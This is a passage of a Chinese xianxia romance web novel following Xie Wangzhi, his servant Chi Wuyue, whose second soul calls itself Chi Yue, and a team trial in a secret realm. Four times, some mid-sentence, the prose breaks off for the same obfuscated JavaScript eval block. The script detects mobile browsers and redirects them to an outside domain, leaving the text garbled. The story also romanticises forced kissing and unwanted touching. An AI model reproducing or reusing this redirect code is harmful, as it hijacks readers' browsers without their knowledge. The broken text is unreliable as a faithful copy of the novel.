虽看不清面容,但谢妄之不喜欢对方的眼神。
像是身上缠了难解的水草,鞋履踏进软烂的泥。幽暗粘稠,仿佛能在身上留下湿润触感。连掐着他下颌的手指都如水一般冰凉。
“你是谁?”
他嫌恶撇过头,冷淡睨了对方一眼。仿佛并不是被人掐着下颌抬起头,被迫承接侵犯目光,而是从天边投下视线,冰冷,清明,遥不可及。
未想只是这一个简单举动,便让人发了疯。
来人忽然发笑,手指强硬箍着他。指尖沿着下颌缓慢往上细细摩挲,冰凉指腹轻掠过他的侧脸、耳垂,按在他的脑后,手指嵌入他的乌发。
随即猛地收拢五指,抓着他的头发往下扯,迫使他后仰脖颈,抬头正视对方,无法移开视线。
似乎如此才算满意,对方轻笑了声,忽然献宝似的,另手在他眼前摊开掌心:“你看,这是什么?”
一阵华光闪过,只见对方手中出现一块石头模样的事物。
有棱有角,晶莹剔透,周身散出一团乳白光晕,霜寒之气扑面而来,凛冽刺骨,趋人退避。
却更有一种难以形容的亲切感,比血脉相连更紧密。浑身血液都因此变得躁动,似乎是在热切地唤它回来。
它是谢妄之腰骨上的空缺。没了它,谢妄之自此沦为残废,再直不起腰。
见状,谢妄之瞳孔骤缩,呼吸一下粗重。
“……是我的剑骨。”他闭目深吸了口气,嗓音艰涩开口,“哪里来的?”
“呵,哪里来的?”对方又笑,却满是嘲讽意味,“自然是从你曾经养的狗,池无月那里弄来的啊。”
“……”谢妄之蹙紧眉。
对方续道:“你可知晓,池无月现在是修仙界首屈一指的剑道魁首,多得是人巴结他,风头更胜你当年。有人把你的剑骨送他,他嫌晦气,转头就丢了,幸亏被我捡到。
“谁想得到,当年只有张脸能看的池无月,现在那么厉害。而你呢?亏你当年那么宠着他,还亲自教他剑法。呵,真是养了条白眼狼啊。”
“……你到底想说什么?”谢妄之沉声开口,神色并无起伏,掌心却掐得快烂。
对方又向他倾身凑近,双膝都跪在地上,近得唇齿开合间的温热吐息都落在他脸上:“我会把剑骨还给你。我与他不同,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596426|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我只忠于你。”
“呵,你以为我会相信么?你想要什么?”
当他是傻子?谢妄之冷笑了声,明明是趴在地上,却似上位者施与般微抬下颌。
“我想要的,从来只有你。”
对方轻声开口,似是怕他没听懂,伸手抚上他的脸,纤长指尖顺着他的下颌、脖颈一寸寸滑过,轻点在他的后腰。看他的眼神炽热幽暗,似燃着黑色的火。
“……呵。”
谢妄之并非不通人事,屡次毫无反抗能力地遭人轻薄,不由气得发笑。他不置可否,只抬了抬下颌:“躺下。”
对方动作微顿,明显错愕,接着以为他当真应允,竟乖乖躺下来,一副任君采撷的模样,还问了一句:“不去榻上么?”
“有什么必要。”
谢妄之冷笑,用手肘支着身体凑近对方,撑在对方身上。
他直不起腰,上身只能与对方贴得极近,足以清晰闻见对方的呼吸在他凑近时陡然凝滞,随后变得粗重紊乱。垂下的长睫似蝶翅般紧张颤动,白皙脸颊与耳廓逐渐染上薄红。
直到此时,谢妄之终于看清对方的脸。
是难以预想的美貌,只一眼便足以叫人疯魔,几乎成了罪孽。活了半生,他只在一人身上见过。
“谢妄之,摸摸我……”
或许是他停顿太久,对方竟出声催促,便连嗓音似乎都与方才给人的感觉有些不同,似是幻形术法在逐渐失效。
对方主动牵起他空出的那只手放在自己脸颊边,像粘人的宠物一样微微歪头轻蹭他的掌心。看他的眼神幽暗粘稠,似水草般在他身上滑动。
“急什么?”
谢妄之强捺下不适,手掌顺从地抚摸对方的脸颊,逐渐悄然往下,直至覆上对方的脖颈。
而后猛地收拢五指,藏在甲缝的毒针一瞬刺进对方的肌肤!
下一刻,他感受到对方炽热的体温,烫到灼人,烧着他的指尖与腿根。
“你!”谢妄之怒不可遏,另手也掐了上去,用力得手臂青筋凸起,亘在苍白皮肤,失控般一下一下地跳,“凭你也配?!”
“为什么,还是不行?哈哈咳……”
对方怔愣一瞬,随即大笑起来,并不挣扎,还愈笑愈欢,状似癫狂。
“闭嘴!”
谢妄之听不清对方到底在说什么,耳畔的声音似是浸入水中,听不真切,只觉头疼欲裂,几乎全凭本能地用力掐着对方的脖颈。
眼前视野忽然天旋地转,本该早就毒发身亡的人竟翻身将他压住,俯身攫住他的唇,像狗一样发疯地舔舐啃咬。
谢妄之不断收拢五指,疯狂挣扎,最后竟从梦中惊醒,一下坐起身,见到熟悉环境才稍稍安定,仍是浑身汗湿,胸膛剧烈起伏。
垂下的幔帐之外,立着一个颀长俊秀的身影。见他坐起身,立时撩开幔帐,露出一张艳丽绝尘的脸。
看清那张脸,谢妄之瞳孔骤缩,猛地扬手扇了对方一巴掌:“谁准你进来的,滚出去!”
5. 第 5 章
清脆的巴掌声在屋中回荡,少年被打得偏过头,缓缓转过脸,抬眸看他一眼才垂下头,双手背到身后,低声道:“奴在偏房听见公子的声音,以为公子唤奴。”
说着微微抿了下唇,长睫低垂,脸颊润红,瞧着是一副受了委屈、可怜兮兮的模样。
见状,谢妄之也冷静下来,忍不住伸手轻捏眉心。
他在梦中分明看清了那个人的五官,梦醒后却无论如何都无法在脑中拼凑出一张完整的脸,结果错认成了池无月。
虽是如此,他断不可能向贱奴低头道歉。
他摆了摆手:“没喊你,出去。”
未想到,才乖顺没两日的贱奴又开始忤逆他,竟装作没听见似的,站在原地不动。
他有些恼了,冷笑一声,伸手撩起幔帐下榻,手指轻勾起池无月的下颌,迫使对方昂起头与自己对视。
接着,他故意伸指按在少年的下唇,指腹暧昧地来回摩挲对方的唇瓣,恶劣嘲弄道:“怎么还不走?难不成,自荐枕席来了?”
少年默不作声地与他对视,神色未起波澜,双眸清澈,似不染污浊的飞雪。谢妄之见状,心头忽然涌起一股无名火。
他记得他曾经也这么对待过池无月,那时对方也如现下一般毫无反应,只用这种眼神看他,似听不懂。
经过那个梦,他才知道,原来池无月并非不懂,只是装不懂,还在心里嫌他恶心,知晓他从不屑于强迫,便肆无忌惮利用他的恩宠。
谢妄之微微眯眼,手上加大力道,指腹压得殷唇微微泛白,在即将顶入唇缝之前克制地停住。
随即松开手,像是被什么玷污似的,取出巾帕慢条斯理地擦手,边擦边道:“你这张脸,确实生得不错。可惜——”
他低头专注地擦完,用力将巾帕掷在地上,抬头看向对面,冷笑着续道:“我现在看腻了。给我滚。”
*
池无月并未坚持,转身回屋。
周遭再度静谧,连风声都消弭,胸口传来的剧烈心跳却响如雷鸣,白皙脸颊比被巴掌扇过还红,耳尖都烫得灼人。
他伸手抚向自己胸口用力下按,想令这颗躁动的心平息。被谢妄之触过的下颌与唇瓣却酥麻不止,令他浑身发热发颤。只要一闭上眼,他的脑中便现出谢妄之的身影。
掀开幔帐后,朦胧身影变得清晰。对方惊魂不定地抬眸看来,乌发披散,浑身汗湿。雪色寝衣松散微敞,被洇湿得半透,大片胸膛露出,肌理紧致分明,被汗水润湿,流淌着蜜一样的光泽。
平日高高在上的人,陡然受了惊吓,露出一瞬的脆弱,随即恼羞成怒地扬手,表情比过去任何时刻都要生动鲜活。
仅是惊鸿一瞥,便镌刻在他的脑中,被他擅自描摹刻画,愈加清晰具体。
一如他的梦中。
方才,他做了梦。他梦见自己变成了另一个人。
而谢妄之的声音将他惊醒,他下意识去确认梦境真伪。
分明已回到现实,梦境中另一人的情感却仍残留。
*
个人赛期限三日,之后便是团体赛,为期半月,内容是自行组队进入秘境讨伐妖兽,以战利品的价值计算得分。
谢妄之打完比赛后歇了两日,虽然并不打算参与团体赛,但毕竟演武比赛由自家兄长主持,他再是犯懒,总归得去走个过场,不然面上不好说。
各世家弟子们坐在台下听谢霁例行发言,之后便是寻找队友的环节。
谢妄之特意避开人群,坐在角落,百无聊赖地指使池无月一会儿给他倒茶,一会儿给他剥水果,心里计算着何时开溜。
正吃进一颗浆果,身边忽然坐下一人:“谢兄,原来你在这里。”
“崔岫?”谢妄之闻声抬头,却见是曾与他交手过的崔岫,猜测对方是来找他组队的,便又把脸转回去,“找我做什么?”
“太好了,谢兄,你还记得我。”
少年双目一亮,双手将椅子拉近了些,坐在他身边。看了眼正给他剥水果的池无月,竟取出巾帕仔细把手擦净,学着池无月的模样,一起给他剥水果,把剥好的果肉放进摆在他面前的碟子里。
见状,谢妄之不由怔了一下,有些忍俊不禁,勾唇调侃:“我当是做什么呢,原是来抢我家小奴隶的活儿。”
“……”池无月动作微顿,又默不作声地继续,往谢妄之的碟子里又放了一颗剥好的浆果。
他动作娴熟,果皮剥得干干净净,刚放进碟子里的那颗果肉饱满完整,晶莹剔透,一看就很有食欲,与边上那颗剥得坑坑洼洼的有如天壤之别。
“谢兄。”崔岫并未注意这些细节,又给谢妄之剥了颗水果,一面剥一面抬头紧张期待地看他,“下一轮比赛你组好队了吗?”
池无月抿起嘴唇,顿了会儿忽然伸过手,把剥好的果肉递到谢妄之唇边:“公子,果碟放不下了。”
嘴唇蓦然传来湿润触感,谢妄之垂眼,只见面前的果肉雪白细腻,晶莹饱满,竟不及捏着它的手指的万分之一。
他顺势望去,正见少年专注地看他,双眸清澈潋滟,见他不肯张嘴,还执拗地伸着手。
而坐在他边上的崔岫还不停给他剥水果,毫无自觉。
“没有,怎么?”
谢妄之忽然起了兴致,单手撑在桌上,懒散支着头,另手接过池无月递过来的水果,随手放进快满到溢出的果碟,而后绕过一颗剥得干净漂亮的,拣起一个剥得坑坑洼洼的放进嘴里。
“……”池无月抿紧嘴唇。
而崔岫立刻道:“那太好了,带我一个呗!”
“好啊。”
谢妄之微笑开口,眼见崔岫高兴得快从椅子上蹦起来,还没来得及向人解释他不参与团体赛,忽有一道尖锐嗓音插话:“哟,这不是谢妄之吗?”
只见先前欺负过池无月的几个少年走近,来回看了看他与崔岫,忽然明白了什么似的,轻蔑道:“我说呢,你怎么可能会赢,原来你们是一伙的。”
“怎么?”谢妄之睨了对方一眼,神色毫无起伏,“本公子魅力太大,手下败将折服于我,有何稀奇的?倒是你,人见人厌。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596427|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“就是,谢兄可厉害了!”崔岫在一旁连连点头附和。
“我呸!谢妄之你别得意!”那裴姓子弟脸上青红交错,啐了一口,满脸愤愤不平,“谁知道你的九连胜是怎么来的,赢得那么轻松。我兄长那么厉害都没有!该不会是谢霁动了手脚吧?”
“呵。”谢妄之冷笑了声,猝然从椅上站起,步步向对方行去,“我自然赢得轻松。若换做是你,不得被打得满地找牙,叫人看笑话,说裴家没人了。”
说着他伸出手,一阵华光闪过,随心剑被他握在手中。他垂眼盯着对方,压低嗓音道:“连你兄长都打不过我,既然你这么怀疑,何不亲自试试?”
“你,你……”谢妄之身材高大,不笑时,面容冷峻,瞧着分外凶。那人被他镇住,话都说不利索,怯懦往后退,哆哆嗦嗦指着他,“谢、谢妄之!我是裴家的,你敢动手?”
“你觉得我敢不敢?”谢妄之冷笑嘲弄。
“你!哼!咱们团体赛走着瞧!”
早在谢妄之召出本命剑时,他们身边不知不觉间便围了好些人看热闹。看来对方也不想在团体赛前把事情闹大,色厉内荏撂下一句,拉着同伙飞快跑了。
谢妄之顿觉无趣,还有些烦躁,收剑坐回原来的位子上。
他本来不想参加团体赛的,这下好了,他不去就跟怕了他们裴家一样。
他一坐下,崔岫立即又凑上来,跟狗腿子似的,小嘴忒甜:“谢兄,你方才实在太威风了!!”
“嗯。小意思。”
“他们这么嚣张,我们一定不能输给他们。既然如此,要不咱再多组几个人吧?人多力量大。”
“都行,随便你。”
谢妄之正烦着,敷衍点头。唇边忽又递上来一颗晶莹果肉,他低头就着对方的手吃了,也没管是谁喂的。
未想到那水果个头大,果肉饱满,一口咬下去,酸甜汁水在唇齿间爆开,竟不慎溢出嘴角。
他正要拿巾帕去擦,忽有一只手先他一步,动作仔细温柔地擦去他下颌沾染的汁水:“公子吃慢些,若是喜欢,奴再给您剥……别生气了,好不好?”
闻见低软嗓音,谢妄之顺势抬眼,正撞入一双清亮水眸。池无月正神色专注地看他,殷唇微抿起一个讨好的弧度,侧脸的红梅开得正艳。
那张脸,叫人无论如何都无法拒绝。
鬼使神差一般,谢妄之莫名消了气,低低应了声“嗯”。
接着崔岫又拉着他说要找谁组队,说自己在个人赛里遇见几个还不错的对手,已经物色好了人选,但全凭谢妄之点不点头。
谢妄之道:“领我去看看。”
他对自己要求严格,既然决意参赛,说什么也要赢个好名次回来。
于是两人便当真去找队友。
池无月默不作声跟在身后,眼见谢妄之身边围着一个又一个人,不由眯起眼睛。
但到最后他什么都没做,只抬臂用嘴唇轻轻碰了碰自己的手指。
他喂谢妄之吃水果时,对方含过一瞬他的指尖。
6.第 6 章
裴云峰微微眯眼,打量着蹲在河边料理兔子的少年。
一张艳鬼般招人的脸,自雪白侧颈开出一树染血梅花。葱白十指刚从水里伸出,莹润如玉,动作熟稔地拿着一柄匕首割兔子肉。
似是没听见他的话,少年长睫低垂,神色专注。不知是天性如此,还是跟久了谢妄之,把目中无人学了个十成十。
“去。”
裴云峰微抬下颌,边上的少年们立即会意,几个人冲上前去,一个抢过池无月手里的兔子扔掉,剩下两个一左一右架着他的胳膊,强硬把他押到裴云峰跟前。
少年是个硬骨头,任凭身后人如何压迫他的脊背、踢打他的双膝,仍站得笔直,抬眸看来的眼神平静无波,没有丝毫惧怕与恭敬。
裴云峰微微眯眼,伸手掐着池无月的下颌抬起,轻慢随意地左右转着他的脸,哂笑道:“你就是凭着这张脸勾/引谢妄之的吗?”
他左瞧右瞧,实在瞧不出池无月到底哪里讨喜,忽然恍然大悟似的,轻笑补充:“哦,还是你床上功夫了得?”
池无月的神色总算有些波澜,眼神微暗,薄唇紧抿。
裴云峰扫了眼边上微微脸红的几个少年,鼻腔溢出声哼笑,勾唇道:“怎么,你们想试试?”
*
河边不远的空地上,几个简陋的帐篷围在一起,中间搭着堆篝火。
谢妄之躺在临时营地的一棵树上,懒散翘着腿,看着远处残阳消尽,星子逐渐亮起。
他来回转着腕上绑缚的红绳,手指摩挲上头精致漂亮的绳结,感应到池无月的位置许久没有动过,忍不住一跃下树,和崔岫交代了声,孤身向着那处行去。
未想到地儿之后,只见河边散落着几只处理一半的兔子,还有被人粗暴拆下,已经断裂的红绳。
他不由蹙眉,发现现场痕迹被人破坏,找不到线索后,心中陡然生出不好的预感,毫不犹豫突破秘境限制,放出神识探查。
不多时,他的唇边滑下一缕殷红,与此同时,半空隐约亮起一道冰蓝色的光路,向着树林的方向绵延,在引他过去。
他顺着冰蓝色的光路往前,见到沿途偶有血迹斑斑,直到看见一人躺在路边不省人事,忙大步过去,把人从地上扶起。
“喂,姓裴的,醒醒!”
看清对方是姓裴的,谢妄之毫不客气地连扇几巴掌,扇得对方脸颊高高肿起,终于硬生生把人弄醒。
哪想到,对方醒来后,第一句便是惊叫道:“有、有妖怪!”
身为修仙者,见到妖物的反应竟与凡人相同,不是平日过得太舒坦,疏于历练,便是惊吓过度,只剩本能。
谢妄之嗤笑,毫不犹豫地又给人扇了一巴掌,蹙眉凶狠道:“没睡醒呢?什么妖怪,给我说清楚。”
但对方只是疯狂摇头,神色惊恐地不停抓挠着自己的头发,把自己的头发抓成鸡窝,还生生扯下好几缕,边抓边喃喃道:“我错了,我不敢了,我什么都不知道……”
见状,谢妄之眉头蹙得更深,心中不好的预感更加强烈,没再管一个疯子,起身继续顺着光路前进。
未想到,没过多久,他竟迎面撞上裴云峰走来,面色惨白如鬼,一手抓着一个家族小辈的腿慢慢往前拖,失了魂似的要从他身边过去。
“站住。”
谢妄之伸手一拦,注意到对方的华贵紫衣似被血液浸染,色泽微深,身上血腥气浓烈,一道细长的冰蓝丝线若隐若现缠着脖颈。
他看见那条蓝线,立时拧眉质问:“你见过池无月?他在哪?”
听到“池无月”这个名字,裴云峰明显有了反应,神色似是嫌恶,又似是惊恐,接着狠狠剜了他一眼,咬牙切齿道:“谢妄之,你知道你养了个什么东西?”
“怎么,我养的狗咬你了?”谢妄之冷笑,猛地沉下脸,一把攥起对方的衣领,眼眸微眯,“谁给你的胆子招他?”
裴云峰似是气笑了,猛地拍落他的手,将被揉乱的衣襟重新整理好,冷声嘲弄:
“一个奴隶而已,用得着这么上心?你也就是喜欢他那张脸罢了,希望你在知道他是什么东西以后,还能这么喜欢他。言尽于此,告辞。”
说罢,对方狠狠将他一推,重新拉起滑落的腿继续往前。
而谢妄之一头雾水,完全不知道裴云峰在说什么东西。
随即很快意识到,他那日做的有关话本的梦,关于池无月的内容不完整。
他继续顺着空中那条蓝线往前,未想半途蓝线骤然消散。
此时乌云蔽月,四周满是参天古木,竟一丝光线也透不进来。
谢妄之握紧那条断裂红绳,试图再用神识寻找池无月的踪迹。
但他的神识似被一道屏障阻住,刚发散出去立即遭到遏制。
同时,耳畔掠过一阵湿润冰凉的风,似乎有人在他耳边轻轻吹气,细腻柔软的触感轻落在他耳廓,一路往下,滑过脖颈,试图探进他的衣领。
“池无月?”
谢妄之眉心微拧,想到方才裴云峰说的,便试探出声。
下一刻,像是有人攥住了他的咽喉,搂住他的腰,从身后将他拥住,整个人仿佛坠入冬日冰湖,浑身泛冷,叫他禁不住打了个寒战。
他伸手去摸自己的脖颈,只摸到空落落一片,唯肌肤上残留润湿冰凉的触感,令他无端想起那夜的梦。
“池无月,若是你,便自己滚出来。”他有些恼了,竟是像疯子一样对着空气发号施令。
等了片刻,耳边终于传来一声低笑,身上的桎梏愈发紧了,叫他更冷,还有些喘不上气。
对方道:“谢妄之,你叫错我的名字,我生气了。你说,我该怎么罚你?”
分明是池无月的声音,却说自己不是池无月。
“呵,你算什么东西,也配罚我?”
谢妄之嗤笑,又用手去抓缠在身上看不见的东西,却只抓到了空气,不由更加恼火,说话不留情
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612281|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面。
“你想听我叫你什么?贱奴?乖狗?小废物?这样你就满意了?”
“嗯,这几个我都喜欢。”
他分明是想羞辱对方,耳畔传来的声音却似裹了蜜一般又甜又软,接着似乎埋头在他侧颈蹭动,像是撒娇,传来微微的酥痒。
谢妄之忍不住偏头避开,正想转身走人,却发现自己被禁锢在原地,四肢动弹不得,不由沉下脸,咬牙切齿道:“你根本不是池无月,你到底是谁?放开我!”
“我是池越,笛声清越的越,记住我的名字,下次不许喊错哦。”
对方不肯将他松开,像水草一样将他缠住,自身后将他抱紧,脸颊埋在他后颈蹭动,痴迷狂热地来回嗅着他身上的气息。
感受到冰凉湿润的气流回旋着打在后颈,谢妄之眉头蹙得更深,强自捺下不适,试图从一个疯子口中挖出点有用的东西:“那池无月去哪了?”
“他睡着了,现在是我的时间。”
“什么意思?”
谢妄之蹙眉追问,对方轻笑一声不愿解释,他只好换了个问题:“方才那些人招惹池无月了么?”
“嗯。”对方轻笑了声,“我还什么都没做呢,他们看见我,一个个吓得脸都白了,真有意思。”
“那我手里这条红绳怎么断的?”
“是他自己弄断的。”
“为什么?”谢妄之蹙眉,没察觉到自己得知池无月没事后,竟轻舒了口气。
当然是让你去——
池越微眯双眼,冷哼了声:“我不知道,你得自己去问他。”
“……”
谢妄之没什么想问的了,便沉默下来,猜测池无月大概是类似一体双魂的体质,没再深究,只想回去,却发现自己还是动不了。
他咬牙切齿:“那你到底要做什么?没事就滚。”
对方竟有些委屈:“我没想做什么,我只是想和你待在一起,我好久没和你说话了。”
“……”
胸口像是被一根狗尾巴草轻挠了一下,谢妄之冷着脸沉默了会儿,“那你随我回去。现下这般晚了,崔岫他们还在等我,我还没用饭。”
“抱歉!!”
未想对方分外好哄,立刻将他松开。谢妄之迅速转身,却连个鬼影都没见着,不由蹙眉道:“你人呢?”
似在纠结,等了会儿,对方才幽幽问:“谢妄之,你不怕我?”
“呵,那你怕不怕我的剑?”谢妄之嗤笑,不耐催促,“快点。”
千呼万唤,前头不远处隐约现出道颀长白影。
青丝如瀑披散,垂坠到脚踝。双眸似浓墨晕染,连眼白都侵占。脸侧红梅盛放,更添三分艳色,姝丽诡谲。
也不知如何行走,像鬼魅飘忽,又似蛇类游弋,闪身到他近前,伸手试探着触他的手背。
见他并未躲闪,稍微大胆了些,却也只是轻轻攥住他的指尖,微仰起脸,乖巧道:“那我们走吧?”
7.第 7 章
手指被轻轻牵住,握在冰凉细腻的掌心里,谢妄之顿了顿,到底没抽出来,牵着人往回走。
没感觉到身后人有什么重量,跟牵着魂儿似的,令他愈发好奇池无月究竟是个什么东西。
一路无话,到河边捡起散落的野兔收拾干净,回到营地时,众人已等他们许久,但也没人抱怨。
大概是见两人牵着手回来,池越还披头散发,队里两个男修冲他们暧昧地挤了挤眼睛。崔岫更是笑着揶揄:“我说谢兄怎么去那么久呢,原来你们是幽会去了。”
但其实谢妄之才是被强制轻薄的那位。他冷笑了声,把手里的兔子递过去:“别废话,烤你的兔子去。”
崔岫还没来得及接过兔子,半途给池越截胡了:“谢——公子,让我来吧。”
“嗯。”
谢妄之没有异议,冷淡点了下头,接着便甩开池越的手,重新窝回之前躺过的那棵树上,继续闭目假寐。
没等多久,他嗅到一阵诱人香气,是池越将烤好的食物给他送来了。他随手拔了片叶子,指尖一点,那片叶子便迅速变大,似一张矮几浮在两人身侧。对方把吃食都摆了上去,谢妄之扫了眼,不由双目一亮。
有烤兔头、山鸡腿和野猪排,外皮烤至微焦,溢出些许金黄汁水,撒了足够多的香料,气味辛辣刺激,正合他的胃口。还有几株串得整整齐齐的青翠野菜,一盘洗得干干净净、色泽艳丽的野果。
而池越跪坐在他对面,双手乖巧放在膝上,微抿着唇看他,双目一片漆黑,却叫人硬生生瞧出几分讨要夸赞的意思。
谢妄之瞥了眼对面,忍不住微微勾唇,随手拿了串烤肉喂到人嘴边,“池无月会的,你都会么?”
大概是不喜欢从他嘴里听到“别人”的名字,池越沉下脸,接过他递的烤肉狠狠咬了一口,喉里“嗯”了一声。
“你们是一体双魂?从小便这样么?他做的事,你都知道?”
谢妄之边吃边问,池越却不肯回答,故意把脸转向别侧,从鼻腔溢出声冷哼。
“呵,还生气了?”谢妄之哂笑。
贱奴凭什么敢给他甩脸色?不答就不答,他也不是非要知道。之后谢妄之便专心吃自己的饭。
直到一顿饭快用完,池越忍不住悄悄侧过脸看谢妄之,见人一点反应也没有,捺不住伸手轻扯了下对方的衣袖,有些委屈地扁嘴:“谢妄之,你觉得我烤的好吃么?比他如何?”
“嗯。”谢妄之应了声,随即故意拿起一颗野果咬了口,“这果子挺好吃的。”
“……”
池越垂下头,默不作声地收拾残局,将树叶做的茶几一卷,再一握拳,连同叶子尽数被毁尸灭迹,飘出一缕细细的白烟。
眼见池越要跳下树,谢妄之忽然想起什么,伸腿一拦,从怀里掏出一条红绳掷到对方怀中,“你的,系上。”
少年接在手中,垂着头半晌不动,被谢妄之轻踢了一脚,这才膝行两步凑过来,在他面前挽起衣袖,露出一截霜雪般的手腕。
“谢妄之,帮我系好不好?”
对方抬起头,一张脸艳丽如山中鬼魅,目光却像狗一样湿润殷切,巴巴瞧着他,嗓音温软。
“……”
谢妄之顿了顿,还是将野果叼在嘴中,接过红绳给人系。
但他干不来这种细致活儿,弄半天差点没给自己手指也打个结,头一次觉得自己怎么这么笨。
他嘴里还叼着野果,嘴巴合不拢,时间长了,口涎便从唇角溢出,晶亮的一缕。但他正快要完工,顾不上去擦。
也没注意对面的少年紧盯着他的嘴唇,长睫微垂,漆黑双眸愈加幽暗,喉结上下轻滚。
等他终于系完,伸手把野果取下,不等他取出巾帕擦嘴,眼前陡然笼下一片阴影。
他抬起头,还未及动作,两只手腕忽被少年一把攥住,高举过他头顶,牢牢压在他身后的树干上。
紧接着,对方的脸在眼前迅速放大,下颌传来柔软湿润的触感。
谢妄之瞳孔骤缩,惊怒交加,猛然挣扎起来,咬牙斥道:“放肆!”
未想到少年瞧着并不十分健硕,手劲倒是出奇大,十指嵌入他的指缝,用力攥紧,身躯紧压过来,令他动弹不得。
等他唇边那缕银丝被舔舐干净,对方竟顺着往上舔舐他的嘴角,甚至不停咬着他的唇瓣,动作急切狂热,喷在脸上的气息也变得炽热紊乱。
“池——”
谢妄之怒不可遏,张口之际,唇齿竟被趁势侵入,莽撞而青涩地攻略追逐。
涎水被贪婪吸食吞咽,肺腑气息也被凶狠掠夺,耳畔充斥着粗重的喘息与粘稠的水声。
直到他濒临窒息,对方才后撤些许,银亮丝线刚在空中架起便断裂。又贴过来,亲昵地用鼻尖蹭他的脸撒娇,微哑着嗓音道:“好甜。”
“滚开!”
谢妄之气得发抖,猛然挣开,毫不犹豫地扇了对方一巴掌,胸膛剧烈起伏,脸颊与耳廓却泛起潮红。
对方被他打得偏过头,玉白脸颊很快浮起鲜红掌印,又转过脸看他,漆黑双眸似化散不开的浓墨。
谢妄之对上那眼神,没忍住又给扇了一巴掌。
这次却被人抓住手腕,把脸颊贴上他手心,像粘人的宠物一样蹭他,又亲吻他的手心。
“别碰我!”
眼看自己的手指也要落入虎口,谢妄之忙抽回手来,本要抬腿踹人,也硬生生忍住。
他沉下脸,咬牙切齿道:“滚下去,别让我说第二次。”
“你别生气,我错了。”
少年急忙摇头,端正跪在谢妄之身前,表现得好像他才是被欺负的那个,嘴唇微抿,沾着水光,可怜兮兮的模样。
谢妄之气笑了,自己从树上跳下去,回到其余队友身边。
不知他们在干什么,只见众人看向小岚,他也顺势看去。
却见小孩儿身边竟堆了一座小山般的骨头,此时正捧着一只烤得表皮焦红的猪蹄狼吞虎咽,吃得比饿死鬼投胎还急切。
注意到众人都在看自己,小岚抬头环顾四周,放下啃了一半的猪蹄,讪讪一笑:“我、我就是太饿了……”
“没事没事,你吃,不够还有。”
“谢谢姐姐!”
初晴摆摆手,把自己的肉串递了过去,被对方毫不客气地接过,三两口吃完,都不带嚼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14618131|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
谢妄之根据那些骨头估摸了一下小孩儿的食量,眼眸微眯。
*
“公子,当心。”
一处幽暗洞穴中,池无月掌着灵火走在谢妄之前头,遇到陡峭的台阶,下意识回身递出自己的手,想搀扶对方一把。
未想到谢妄之目不斜视地经过他身边,连衣摆都冷漠地避开他。
“……”池无月顿了顿,没说什么,快步跟了上去。
这两日,他发现谢妄之有些许奇怪,会尽量避免与他的肢体接触,偶尔还会用一种复杂的眼神看他。
可他的记忆停留在被裴云峰几人缠住的那一刻,完全不知道后头发生了什么,不理解为什么睡一觉起来,谢妄之对他的态度忽然变了。
在小岚的带领下,他们进入一处洞穴之中,内里空间极大,岩壁潮湿,钟乳石连片,景致蔚为壮观。
越往深处走,光线愈弱,气温也降低到连修者都有些难以忍受的地步。
队里的初晴以医入道,身子骨最弱,最先受不住,不由搓着手掌哈气,白雾模糊了她的面容,颤声问:“小岚,你确定救你爹娘的药材就在这里吗?”
“真的真的,难道姐姐不相信我吗?”
小岚被崔岫单臂抱在怀中,不知是崔岫属火灵根,外散的温暖灵气笼罩着她,还是天生不怕冷,模样比初晴镇定得多,接着似是因受到质疑,作势要哭。
“怎么会呢?”不等初晴答话,崔岫连忙拍拍她的脊背安慰,“初晴姐姐只是太冷了,没有怀疑你的意思。”
队里其他人也纷纷附和:“啊对对对,绝对没有怀疑你的意思。”
“好、好吧,谢谢哥哥姐姐们。”小岚回过头,眸中笼上一层阴翳。
众人相视一眼,心照不宣地继续往前走,不动声色地戒备四周。
他们跟着小岚的几日,对方总是有意无意将他们往大妖身边引,若不是队里有谢妄之,恐怕众人都不能全须全尾地站在这里,再是傻子都能瞧出不对来。
但他们不能打草惊蛇,毕竟没人瞧出小岚究竟是什么妖,只能走一步看一步。
